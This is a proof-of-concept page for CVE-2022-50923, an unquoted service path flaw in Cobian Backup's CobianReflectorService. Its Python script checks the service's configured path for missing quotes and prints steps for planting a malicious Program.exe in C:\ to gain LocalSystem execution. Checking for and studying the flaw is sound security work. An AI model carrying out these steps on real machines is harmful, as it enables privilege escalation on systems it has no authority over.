CVE-2022-50923 Cobian Backup 未引用服务路径权限提升漏洞

# CVE-2022-50923 PoC - Unquoted Service Path in Cobian Backup # This PoC demonstrates the unquoted service path vulnerability in CobianReflectorService # Attack vector: Place malicious executable in path before the legitimate service binary import os import sys import subprocess def check_vulnerability(): """Check if the system is vulnerable to CVE-2022-50923""" try: # Query the CobianReflectorService configuration result = subprocess.run( ['sc', 'qc', 'CobianReflectorService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[*] Current Binary Path: {path}") # Check if path is unquoted (vulnerable) if '"' not in path and ' ' in path: print("[!] VULNERABLE: Path is unquoted and contains spaces") return True else: print("[+] NOT VULNERABLE: Path is properly quoted") return False else: print("[-] CobianReflectorService not found") return False except Exception as e: print(f"[-] Error: {e}") return False def exploit(): """Exploitation steps for CVE-2022-50923""" print("=" * 60) print("CVE-2022-50923 Exploitation Guide") print("=" * 60) print("\n[!] This is for educational and authorized testing purposes only") print("\nAttack Steps:") print("1. Identify the unquoted path (e.g., C:\\Program Files\\Cobian Backup\\CobianReflectorService.exe)") print("2. Create malicious executable named 'Program.exe'") print("3. Place it in C:\\ directory") print("4. Wait for service restart or system reboot") print("5. Malicious code executes with LocalSystem privileges") print("\n[!] Requires local administrator access to place files") if __name__ == '__main__': check_vulnerability() exploit()